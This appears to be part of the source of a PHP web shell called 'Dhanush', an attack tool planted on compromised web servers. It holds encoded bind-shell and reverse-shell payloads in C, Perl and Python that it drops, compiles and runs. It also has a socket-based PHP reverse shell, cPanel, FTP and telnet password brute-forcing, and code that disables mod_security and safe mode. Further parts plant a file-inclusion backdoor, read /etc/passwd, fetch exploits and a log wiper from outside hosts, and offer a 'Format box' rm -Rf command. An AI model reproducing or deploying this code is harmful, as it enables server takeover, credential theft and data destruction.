5524 if(ajaxRequest.readyState == 4)
5525 {
5526 document.getElementById("showmal").innerHTML=ajaxRequest.responseText;
5527 }
5528 }
5529
5530 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+malwork+"&path="+malpath, true);
5531 ajaxRequest.send(null);
5532}
5533function getexploit(wurl,path,functiontype)
5534{
5535 document.getElementById("showexp").innerHTML=waitstate;
5536 var ajaxRequest;
5537 ajaxRequest = new XMLHttpRequest();
5538
5539 ajaxRequest.onreadystatechange = function()
5540 {
5541 if(ajaxRequest.readyState == 4)
5542 {
5543 document.getElementById("showexp").innerHTML=ajaxRequest.responseText;
5544 }
5545 }
5546
5547 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?uploadurl&wurl="+wurl+"&functiontype="+functiontype+"&path="+path, true);
5548 ajaxRequest.send(null);
5549}
5550function showMsg(msg)
5551{
5552 if(msg == 'smf')
5553 {
5554 document.getElementById('tableprefix').value="smf_";
5555 document.getElementById('fid').style.display='block';
5556 document.getElementById('wpress').style.display='none';
5557 document.getElementById('joomla').style.display='none';
5558 }
5559 if(msg == 'mybb')
5560 {
5561 document.getElementById('tableprefix').value="mybb_";
5562 document.getElementById('wpress').style.display='none';
5563 document.getElementById('joomla').style.display='none';
5564 document.getElementById('fid').style.display='block';
5565 }
5566 if(msg == 'ipb' || msg == 'vb')
5567 {
5568 document.getElementById('tableprefix').value="";
5569 document.getElementById('wpress').style.display='none';
5570 document.getElementById('joomla').style.display='none';
5571 document.getElementById('fid').style.display='block';
5572 }
5573 if(msg == 'wp')
5574 {
5575 document.getElementById('tableprefix').value="wp_";
5576 document.getElementById('wpress').style.display='block';
5577 document.getElementById('fid').style.display='none';
5578 document.getElementById('joomla').style.display='none';
5579 }
5580 if(msg == 'joomla')
5581 {
5582 document.getElementById('joomla').style.display='block';
5583 document.getElementById('tableprefix').value="jos_";
5584 document.getElementById('wpress').style.display='none';
5585 document.getElementById('fid').style.display='none';
5586
5587
5588 }
5589}
5590function checkforum(msg)
5591{
5592 if(msg == 'smf')
5593 {
5594 document.getElementById('tableprefix').value="smf_";
5595 document.getElementById('smfipb').style.display='block';
5596 document.getElementById('myjoomla').style.display='none';
5597 document.getElementById('wordpres').style.display='none';
5598 }
5599 if(msg == 'phpbb')
5600 {
5601 document.getElementById('tableprefix').value="phpb_";
5602 document.getElementById('myjoomla').style.display='none';
5603 document.getElementById('smfipb').style.display='block';
5604 document.getElementById('wordpres').style.display='none';
5605 }
5606 if(msg == 'mybb')
5607 {
5608 document.getElementById('tableprefix').value="mybb_";
5609 document.getElementById('myjoomla').style.display='none';
5610 document.getElementById('smfipb').style.display='none';
5611 }
5612 if(msg == 'vb')
5613 {
5614 document.getElementById('tableprefix').value="";
5615 document.getElementById('myjoomla').style.display='none';
5616 document.getElementById('smfipb').style.display='none';
5617 }
5618 if(msg == 'ipb')
5619 {
5620 document.getElementById('myjoomla').style.display='none';
5621 document.getElementById('smfipb').style.display='block';
5622 document.getElementById('tableprefix').value="";
5623 document.getElementById('wordpres').style.display='none';
5624
5625 }
5626 if(msg == 'wp')
5627 {
5628 document.getElementById('tableprefix').value="wp_";
5629 document.getElementById('myjoomla').style.display='none';
5630 document.getElementById('smfipb').style.display='block';
5631 document.getElementById('wordpres').style.display='block';
5632 }
5633 if(msg == 'joomla')
5634 {
5635 document.getElementById('myjoomla').style.display='block';
5636 document.getElementById('tableprefix').value="jos_";
5637 document.getElementById('smfipb').style.display='none';
5638
5639 }
5640}
5641</script>
5642<body>
5643<?php
5644
5645$back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
5646
5647$backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
5648
5649$bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
5650
5651$bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
5652shellstyle();
5653?>
5654<div align="center">
5655<a href="<?php $_SERVER['PHP_SELF'];?>"><font size="6" color="#FF0000" style="text-decoration:none;" face="Times New Roman, Times, serif">Dhanush : By Arjun </font></a>
5656
5657</div>
5658<hr color="#1B1B1B">
5659
5660<table cellpadding="0" style="width:100%;">
5661 <tr>
5662 <td colspan="2" style="width:75%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
5663 <td style="width:10%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
5664 <td style="width:15%;"><a href=# onClick="maindata('com')"><font class="txt"><i>Software Info</i></font></a></td>
5665 </tr>
5666 <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
5667 <td style="width:75%;" colspan="2">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
5668 <?php $d0mains = @file("/etc/named.conf");
5669 $users=@file('/etc/passwd');
5670 if($d0mains)
5671 {
5672 $count;
5673 foreach($d0mains as $d0main)
5674 {
5675 if(@ereg("zone",$d0main))
5676 {
5677 preg_match_all('#zone "(.*)"#', $d0main, $domains);
5678 flush();
5679 if(strlen(trim($domains[1][0])) > 2)
5680 {
5681 flush();
5682 $count++;
5683 }
5684 }
5685 }
5686 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php
5687 }
5688 else if($users)
5689 {
5690 $file = fopen("/etc/passwd", "r");
5691 while(!feof($file))
5692 {
5693 $s = fgets($file);
5694 $matches = array();
5695 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
5696 $matches = str_replace("home/","",$matches[1]);
5697 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
5698 continue;
5699 $count++;
5700 }
5701 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php } ?>
5702 </tr><?php } ?>
5703 <tr>
5704 <td style="width:20%;">Disk Space : <font class="txt"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>
5705 <td style="width:20%;">Free Space : <font class="txt"><?php echo HumanReadableFilesize(freeSpace()); $dksp = diskSpace(); $frsp = freeSpace(); echo " (".(int)($frsp/$dksp*100)."%)"; ?></font></td>
5706
5707 <td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
5708 <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
5709 </tr>
5710
5711 <tr>
5712 <?php if($os == 'Windows'){ ?><td style="width:15%;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
5713 <td style="width:30%;">Current Directory : <span id="crdir"><font color="#009900">
5714 <?php
5715 $d = str_replace("\\",$directorysperator,$dir);
5716 if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
5717 $d = str_replace("\\\\","\\",$d);
5718 $dispd = htmlspecialchars($d);
5719 $pd = $e = explode($directorysperator,substr($d,0,-1));
5720 $i = 0;
5721 foreach($pd as $b)
5722 {
5723 $t = '';
5724 $j = 0;
5725 foreach ($e as $r)
5726 {
5727 $t.= $r.$directorysperator;
5728 if ($j == $i) {break;}
5729 $j++;
5730 }
5731$href=addslashes($t);
5732
5733 echo "<a href=javascript:void(0) onClick=\"changedir('dir','$href')\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
5734 $i++;
5735 }
5736
5737 ?>
5738 </font></span> <a href=# onClick="gethome('home','<?php echo addslashes(getcwd()); ?>')">[Home]</a></td>
5739 <td style="width:20%;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
5740 <td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
5741 <?php if($os == "Linux") { ?><td><a href="<?php echo $self.'?downloadit'?>"><font color="#FF0000">Download It</font></a><?php } ?></td>
5742 </tr>
5743 </table>
5744
5745<?php $m1 = array('Symlink'=>'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');
5746 $m2 = array('SQL'=>'database','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');
5747 echo "<table border=3 style=border-color:#333333; width=100%; cellpadding=2>
5748 <tr>";
5749 $menu = '';
5750
5751 foreach($m1 as $k => $v)
5752 $menu .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5753 echo $menu;
5754 echo "</tr>
5755</table>
5756<div style=\"float:left;\">
5757 <a href=\"javascript:history.back(1)\"><font class=txt size=3> [Back] </font></a>
5758 <a href=\"javascript:history.go(1)\"><font class=txt size=3> [Forward] </font></a>
5759 <a href=\"\"><font class=txt size=3> [Refresh] </font></a></div>
5760<table style=\"margin-left:270px; border-color:#333333;\" border=2 width=60%; cellpadding=2>
5761 <tr align=center>";
5762 foreach($m2 as $k => $v)
5763 $menu1 .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."','".addslashes($_GET['dir'])."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5764 echo $menu1;
5765 echo "<td style=\"border:none;\"><a href=javascript:void(0) onClick=\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\"><font class=mainmenu>[SelfKill]</font></a></td>
5766 <td style=\"border:none;\"><a href=\"$self?logout\"><font class=mainmenu>[LogOut]</font></a></td>
5767 </tr>
5768</table>";?>
5769
5770<div id="showmaindata"></div>
5771<?php
5772
5773if(isset($_GET["downloadit"]))
5774{
5775 $FolderToCompress = getcwd();
5776 execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
5777
5778 $prd=explode("/","backup.tar");
5779 for($i=0;$i<sizeof($prd);$i++)
5780 {
5781 $nfd=$prd[$i];
5782 }
5783 @ob_clean();
5784 header("Content-type: application/octet-stream");
5785 header("Content-length: ".filesize($nfd));
5786 header("Content-disposition: attachment; filename=\"".$nfd."\";");
5787 readfile($nfd);
5788 exit;
5789}
5790//Turn Safe Mode Off
5791
5792 if(getDisabledFunctions() != "None" || safe() != "OFF")
5793 {
5794 $file_pointer = fopen(".htaccess", "w+");
5795 fwrite($file_pointer, "<IfModule mod_security.c>
5796 SecFilterEngine Off
5797 SecFilterScanPOST Off
5798 </IfModule> \n\r");
5799
5800 $file_pointer = fopen("ini.php", "w+");
5801 fwrite($file_pointer, "<?
5802echo ini_get(\"safe_mode\");
5803echo ini_get(\"open_basedir\");
5804include(\$_GET[\"file\"]);
5805ini_restore(\"safe_mode\");
5806ini_restore(\"open_basedir\");
5807echo ini_get(\"safe_mode\");
5808echo ini_get(\"open_basedir\");
5809include(\$_GET[\"ss\"]);
5810?>");
5811
5812 $file_pointer = fopen("php.ini", "w+");
5813 fwrite($file_pointer, "safe_mode = Off");
5814
5815 fclose($file_pointer);
5816
5817 }
5818
5819 else if(isset($_POST['cpanelattack']))
5820 {
5821 if(!empty($_POST['username']) && !empty($_POST['password']))
5822 {
5823 $userlist=explode("\n",$_POST['username']);
5824 $passlist=explode("\n",$_POST['password']);
5825
5826 if($_POST['cracktype'] == "ftp")
5827 {
5828 foreach ($userlist as $user)
5829 {
5830 $pureuser = trim($user);
5831 foreach ($passlist as $password )
5832 {
5833 $purepass = trim($password);
5834 ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5835 }
5836 }
5837 }
5838 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
5839 {
5840 if($cracktype == "telnet")
5841 $cpanel_port="23";
5842 else
5843 $cpanel_port="2082";
5844 foreach ($userlist as $user)
5845 {
5846 $pureuser = trim($user);
5847
5848 echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
5849 Processing user $pureuser ...</font></b><br><br>";
5850
5851 foreach ($passlist as $password )
5852 {
5853 $purepass = trim($password);
5854 cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5855
5856 }
5857 }
5858 }
5859 }
5860 else
5861 $bdmessage = "<center>Enter Username & Password List<center>";
5862 }
5863
5864else if(isset($_GET['info']))
5865{
5866 $bdmessage = "<br><div align=left><font class=txt>".nl2br(shell_exec("whois ".$_GET['info']))."</font></div>";
5867}
5868else if(isset($_POST['u']))
5869{
5870 $path = $_REQUEST['path'];
5871 if(is_dir($path))
5872 {
5873 $setuploadvalue = 0;
5874 $uploadedFilePath = $_FILES['uploadfile']['name'];
5875 $tempName = $_FILES['uploadfile']['tmp_name'];
5876 if($os == "Windows")
5877 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5878 else if($os == "Linux")
5879 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5880 if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
5881 $bdmessage = "<font class=txt size=3><blink>File uploaded to $uploadPath</blink></font>";
5882 else
5883 $bdmessage = "<font size=3><blink>Failed to upload file to $uploadPath</blink></font>";
5884 }
5885 ?><script type="text/javascript">changedir('dir','<?php echo addslashes($path); ?>'); </script><?php
5886}
5887else if(isset($_POST['backdoor']))
5888{
5889 if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
5890 { ?><script type="text/javascript">gethome('connect');</script><?php
5891 $passwd = $_POST['passwd'];
5892
5893 if($_POST['lang'] == 'c')
5894 {
5895 if(is_writable("."))
5896 {
5897 @$fh=fopen(getcwd()."/backp.c",'w');
5898 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5899 @fclose($fh);
5900 execmd("chmod 0755 ".getcwd()."/backp.c");
5901 execmd("gcc -o ".getcwd()."/backp ".getcwd()."/backp.c");
5902 execmd("chmod 0755 ".getcwd()."/backp");
5903 execmd(getcwd()."/backp"." ".$_POST['port']." ". $passwd ." &");
5904 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5905 if(eregi("backp".$_POST['port'],$scan))
5906 $bdmessage = "Process found running, backdoor setup successfully.";
5907 else
5908 $bdmessage = "Process not found running, backdoor not setup successfully.";
5909 }
5910 else
5911 {
5912 @$fh=fopen("/tmp/backp.c","w");
5913 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5914 @fclose($fh);
5915 execmd("chmod 0755 /tmp/backp.c");
5916 execmd("gcc -o /tmp/backp /tmp/backp.c");
5917 $out = execmd("/tmp/backp"." ".$_POST['port']." ". $passwd ." &");
5918 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5919 if(eregi("backp".$_POST['port'],$scan))
5920 $bdmessage = "Process found running, backdoor setup successfully.";
5921 else
5922 $bdmessage = "Process not found running, backdoor not setup successfully.";
5923 }
5924 }
5925 if($_POST['lang'] == 'perl')
5926 {
5927 if(is_writable("."))
5928 {
5929 @$fh=fopen(getcwd()."/bp.pl",'w');
5930 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5931 @fclose($fh);
5932 execmd("chmod 0755 ".getcwd()."/bp.pl");
5933 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5934
5935 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5936 }
5937 else
5938 {
5939 @$fh=fopen("/tmp/bp.pl","w");
5940 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5941 @fclose($fh);
5942 execmd("chmod 0755 ".getcwd()."/bp.pl");
5943 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5944 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5945 }
5946 }
5947 }
5948}
5949else if(isset($_POST['backconnect']))
5950{
5951 if($_POST['ip'] != "" && $_POST['port'] != "")
5952 { ?><script type="text/javascript">gethome('connect');</script><?php
5953 $host = $_POST['ip'];
5954 $port = $_POST['port'];
5955 if($_POST["lang"] == "perl")
5956 {
5957 if(is_writable("."))
5958 {
5959 @$fh=fopen(getcwd()."/bc.pl",'w');
5960 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5961 @fclose($fh);
5962 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5963 execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
5964 if(!@unlink(getcwd()."/bc.pl")) echo "<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>";
5965 }
5966 else
5967 {
5968 @$fh=fopen("/tmp/bc.pl","w");
5969 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5970 @fclose($fh);
5971 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5972 execmd("perl /tmp/bc.pl $host $port &",$disable);
5973 if(!@unlink("/tmp/bc.pl"))
5974 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
5975 }
5976 }
5977 else if($_POST["lang"] == "python")
5978 {
5979 if(is_writable("."))
5980 {
5981 $w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
5982 if($w_file)
5983 {
5984 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
5985 @fclose($w_file);
5986 chmod(getcwd().'/bc.py', 0777);
5987 }
5988 execmd("python ".getcwd()."/bc.py $host $port &",$disable);
5989 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5990
5991 if(!@unlink(getcwd()."/bc.py"))
5992 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
5993 }
5994 else
5995 {
5996 $w_file=@fopen("/tmp/bc.py","w");
5997 if($w_file)
5998 {
5999 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
6000 @fclose($w_file);
6001 chmod('/tmp/bc.py', 0777);
6002 }
6003 execmd("python /tmp/bc.py $host $port &",$disable);
6004 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6005 if(!@unlink("/tmp/bc.py"))
6006 echo "<h2>Warning: Failed to delete reverse-connection program</h2><br>";
6007 }
6008 }
6009 else if($_POST["lang"] == "php")
6010 {
6011 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6012 $ip = $_POST['ip'];
6013 $port=$_POST['port'];
6014 $sockfd=fsockopen($ip , $port , $errno, $errstr );
6015 if($errno != 0)
6016 {
6017 $bdmessage = "<font color='red'><b>$errno</b> : $errstr</font>";
6018 }
6019 else if (!$sockfd)
6020 {
6021 $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
6022 }
6023 else
6024 {
6025 fputs ($sockfd ,"\n=================================================================\nCoded By Arjun\n=================================================================");
6026 $pwd = exec_all("pwd");
6027 $sysinfo = exec_all("uname -a");
6028 $id = exec_all("id");
6029 $len = 1337;
6030 fputs($sockfd ,$sysinfo . "\n" );
6031 fputs($sockfd ,$pwd . "\n" );
6032 fputs($sockfd ,$id ."\n\n" );
6033 fputs($sockfd ,$dateAndTime."\n\n" );
6034 while(!feof($sockfd))
6035 {
6036 $cmdPrompt ="(dhanush)[$]> ";
6037 fputs ($sockfd , $cmdPrompt );
6038 $command= fgets($sockfd, $len);
6039 fputs($sockfd , "\n" . exec_all($command) . "\n\n");
6040 }
6041 fclose($sockfd);
6042 }
6043 }
6044 }
6045}
6046else if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
6047{
6048 $temp = "";
6049 for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
6050 {
6051 $uid = @posix_getpwuid($_GET['val1']);
6052 if ($uid)
6053 $temp .= join(':',$uid)."\n";
6054 }
6055 echo '<br/>';
6056 paramexe('Users', $temp);
6057}
6058else if(isset($_GET['download']))
6059{
6060 download();
6061}
6062else
6063{
6064 ?><script type="text/javascript">gethome('home','<?php echo addslashes($dir); ?>');</script><?php
6065}
6066$is_writable = is_writable($dir)?"<font class=txt>< writable ></font>":"< not writable >";
6067?>
6068</p><center><div id="showdir"><?php echo $bdmessage; ?></div></center>
6069<table style="width:100%;border-color:#333333;" border="1">
6070<tr>
6071<td align="center">
6072<form method="post" enctype="multipart/form-data">
6073Upload file : <br><input type="file" name="uploadfile" class="box" size="50">
6074<input type="hidden" id=path name="path" value="<?php echo $dir; ?>" />
6075<input type=submit value="Upload" name="u" value="u" class="but" ></form>
6076<span name="wrtble"><?php
6077echo $is_writable; ?></span>
6078 <br>
6079</td>
6080<td align="center" style="height:105px;">Create File :
6081<form onSubmit="createdir('Create',createfile.value);return false;">
6082<input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile" id="createfile">
6083<input type="button" onClick="createdir('Create',createfile.value)" value="Create" class="but">
6084</form><span name="wrtble">
6085<?php echo $is_writable; ?></span>
6086</td>
6087</tr>
6088<tr>
6089<td align="center" style="height:105px;">Execute : <form onSubmit="executemyfile('execute','<?php echo addslashes($dir); ?>',execute.value);return false;">
6090<input type="text" class="box" name="execute">
6091<input type="hidden" id="exepath" name="exepath" value="<?php echo $dir; ?>">
6092 <input type="button" onClick="executemyfile('execute',exepath.value,execute.value)" value="Execute" class="but"></form></td>
6093
6094<td align="center">Create Directory : <form onSubmit="createdir('createfolder',createfolder.value);return false;">
6095<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder" id="createfolder">
6096<input type="button" onClick="createdir('createfolder',createfolder.value)" value="Create" class="but">
6097</form><span name="wrtble"><?php
6098echo $is_writable;
6099?></span></td></tr>
6100<tr><td style="height:105px;" align="center">Get Exploit <form onSubmit="getexploit(wurl.value,path.value,functiontype.value);return false;">
6101<input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c">
6102<input type="button" onClick="getexploit(wurl.value,uppath.value,functiontype.value)" value=" G0 " class="but"><br><br>
6103<input type="hidden" id="uppath" name="uppath" value="<?php echo $dir . $directorysperator; ?>">
6104<select name="functiontype" class="sbox">
6105<option value="wwget">wget</option>
6106<option value="wlynx">lynx</option>
6107<option value="wfread">fread</option>
6108<option value="wfetch">fetch</option>
6109<option value="wlinks">links</option>
6110<option value="wget">GET</option>
6111<option value="wcurl">curl</option>
6112</select>
6113</form><div id="showexp"></div>
6114</td>
6115<td align="center">
6116<form>
6117Some Commands<br>
6118<?php if($os != "Windows")
6119{ ?>
6120<SELECT NAME="mycmd" class="box">
6121 <OPTION VALUE="uname -a">Kernel version
6122 <OPTION VALUE="w">Logged in users
6123 <OPTION VALUE="lastlog">Last to connect
6124 <option value='cat /etc/hosts'>IP Addresses
6125 <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
6126 <OPTION VALUE="logeraser">Log Eraser
6127 <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
6128 <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
6129 <OPTION VALUE="find / -type f -name \"config*\"">find config* files
6130 <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
6131 <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
6132 <OPTION VALUE="find / -type f -perm -04000 -ls">find all suid files
6133 <OPTION VALUE="find / -user root -perm -022">find all sgid files
6134 <OPTION VALUE="find . -type f -perm -02000 -ls">find suid files in current dir
6135 <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
6136 <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
6137 <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
6138 <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
6139 <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
6140 <OPTION VALUE="which wget curl w3m lynx">Downloaders?
6141 <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
6142 <OPTION VALUE="ps aux">Show running proccess
6143 <OPTION VALUE="uptime">Uptime check
6144 <OPTION VALUE="cat /proc/meminfo">Memory check
6145 <OPTION VALUE="netstat -an | grep -i listen">Open ports
6146 <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
6147 <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
6148 <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
6149 <OPTION VALUE="./zap2">WIPELOGS PT3
6150 <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
6151 </SELECT>
6152 <?php } else {?>
6153 <SELECT NAME="mycmd" class="box">
6154 <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
6155 <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
6156 <OPTION VALUE="systeminfo">System Informations
6157 <OPTION VALUE="net user">User accounts
6158 <OPTION VALUE="netstat -an">Open ports
6159 <OPTION VALUE="getmac">Get Mac Address
6160 <OPTION VALUE="net start">Show running services
6161 <OPTION VALUE="net view">Show computers
6162 <OPTION VALUE="arp -a">ARP Table
6163 <OPTION VALUE="tasklist">Show Process
6164 <OPTION VALUE="ipconfig/all">IP Configuration
6165
6166 </SELECT>
6167 <?php } ?>
6168 <input type="hidden" id="auexepath" name="auexepath" value="<?php echo $dir; ?>">
6169<input type="button" onClick="executemyfile('mycmd',auexepath.value,mycmd.value)" value="Execute" class="but">
6170</form>
6171</td>
6172</tr></table><br>
6173
6174</td>
6175</tr>
6176</table>
6177
6178<?php
6179
6180
6181//logout
6182
6183if(isset($_GET['logout']))
6184{
6185 setcookie("hacked",time() - 60*60);
6186 header("Location:$self");
6187 ob_end_flush();
6188}
6189?>
6190
6191
